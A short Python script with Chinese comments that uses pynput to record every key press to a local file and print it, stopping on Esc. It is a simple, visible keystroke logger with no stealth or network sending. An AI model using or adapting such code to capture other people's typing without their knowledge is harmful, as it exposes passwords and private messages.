from pynput.keyboard import Listener, Key  
import time  

with open('a.txt', 'a') as a:
    a.write('\n' * 10)
# 记录按键的函数  
def on_press(key):  
    with open('a.txt', 'a') as f: 
        if isinstance(key, Key):  
                f.write(str(key))
        else:  
            f.write(str(key))  
    print(key)  
  
# 停止监听的函数  
def on_release(key):  
    if key == Key.esc:  
        return False  
  
# 启动监听器
with Listener(on_press=on_press, on_release=on_release) as listener:  
    listener.join()